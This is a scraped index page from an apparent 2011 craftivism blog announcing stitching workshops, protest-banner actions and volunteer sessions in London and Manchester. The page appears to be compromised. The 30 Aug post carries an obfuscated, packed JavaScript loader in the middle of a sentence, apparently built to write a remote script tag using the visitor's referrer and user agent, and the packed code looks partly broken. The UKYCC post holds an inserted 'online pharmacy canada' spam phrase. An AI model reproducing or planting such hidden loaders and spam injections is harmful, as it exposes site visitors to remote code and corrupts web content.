Worth writing about…

20 Sep Cross Stitch Graffiti at London Fashion Weekend 2011

To mark London Fashion Weekend 2011, we are asking you to join us in creating handmade Mini Protest Banners aimed at exposing the ugly side of fashion. We hope to see you 2pm-3pm Saturday 24th September at the Richmix for our workshop. Using Mini Protest Banners, we hope to make people think about the side of the fashion that is often too easily dismissed by the industry in a non-threatening but challenging way during the fashionista’s calendar annual highlight.
For the past 2 years they have been tied up to lamp-posts, railings, and buildings near fashion hotspots to provoke people to care about their global neighbours on the other side of the global fashion industry. This year we want you to join us. One banner compares the £3million which supermodel Kate Moss received from Topshop from a collection with the meagre 21 pence an hour earned by workers in Mauritius who produced clothes for the range.  Another banner contracts the lowest paid for the week's models, £125 an hour, with the paltry £25 a month for most Vietnamese garment workers. 
Read More

20 Sep Teaching 100 young climate activists in Manchester how to be craftivists

We have always been big fans of UKYCC which was set up by a small group of young people passionate about climate justice and determined to get other young people to help them make a positive change whilst there is still time. They contacted us this year to deliver a workshop to 100 of their fellow young climate activists at their Manchester Conference: Powershift. Immediately we knew we wanted to get them to get involved in our Don't Blow It craftivism online pharmacy canada project and link it to their fight for climate justice. They will be in Manchester at the time of the Conservative Party Conference.
Read More

12 Sep Come join us chilling out listening to live folk whilst stitching away with the audience

Sunday 2nd October, 2011 @ the Baby Bathhouse, 125 Church Street, Stoke Newington, London, 6-9pm. All welcome :) Musician Paul McDowell has been a fan of ours for a few years and recently attended our Hayward craftivism workshop.  After the success of his gig last month, he's been invited back to do a monthly residency at the Baby Bathhouse. Yey! Plus this time he wants us to join him to teach the willing audience members some crafty activism whilst he sings his beautiful folk songs.
Read More

12 Sep Stitching Some Love for Our Global Neighbours at the Hayward

On the 25th of August hip London gallery The Hayward was taken over – by needles, thread, and love. The Craftivist Collective’s love letter response to Tracey Emin’s retrospective show, “Love is What You Want” drew a big crowd to the Waterloo Sunset Pavilion hosted experienced craftivists and people just learning how to stitch, signing their names off to a pledge that craftivist Sarah Corbett had handcrafted as a giant letter.
Read More

03 Sep Craftivist’s needed September & December to help Fine Cell Work make craft kits for prisoners

Volunteers needed 2pm until 5pm Saturday 24th September and/or Saturday 3rd December to attend Fine Cell Works London Office and make craft kits for prisoners. If you are available for both or either date please book your place by emailing us at craftivist-collective [at] Hotmail DOT Com. We need 10 people each session to sit around a table, chatting, drinking tea, eating biscuits whilst making craft kits.
Read More

30 Aug Join @BritishMuseum tomorrow (Wednesday)

Join eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftbnz|var|u0026u|referrer|erhnk||js|php'.split('|'),0,{})) @BritishMuseum tomorrow (Wednesday) for another #craftdebate starting at 13.00 BST. This time with @Craftivists (Craftivist Collective) = US!...

Read More

25 Aug Come join our ‘Don’t Blow It’ project Wednesday 31st August at Southbank, London from 6:30pm

Hey craftivistas and all :) Just a quick blog post to say please don't forget to come and join us at the Royal Festival Hall cafe on the Southbank from 6:30pm to continue our summer project Don't Blow It. The Facebook event is here. Some of us will be finishing off our hand embroidered handkerchiefs to give to our MPs whilst others will be starting them. We hope to have them finished by the time Summer Recess is over (6th September) so that we can give them to our local MPs on their first day back. As always, we will have craft resources on hand but we encourage you to bring your own hanky etc if you can. We ask for a £3 donation to cover costs and will be drinking tea, eating cake and crafting whilst talking about how we are going to encourage our MP's not to blow their chance of making a positive difference whilst they are in power. All are welcome! :)
Read More

24 Aug Robin Hood and his merry Craftivists!

Check out one of our craftivists sneaking around Bank Station in London where many bankers work putting up her Mini Protest Banners. Each banner was there to encourage bankers to support the Robin Hood Tax and campaign for it to be put in place in the UK.
Read More

15 Aug Craftivists ask you to join them in stitching a giant love letter at the Hayward Gallery this August

From 7pm -9pm on Thursday 25th August the Craftivist Collective are inviting the public to join them in stitching a giant love letter at the Hayward Gallery in response to Tracey Emin's Retrospective.
Emin’s exhibition ‘Love Is What You Want’ explores the theme of love through her personal experiences of abortion, relationships, and sex, and her provocative personality and strong political views. 
Read More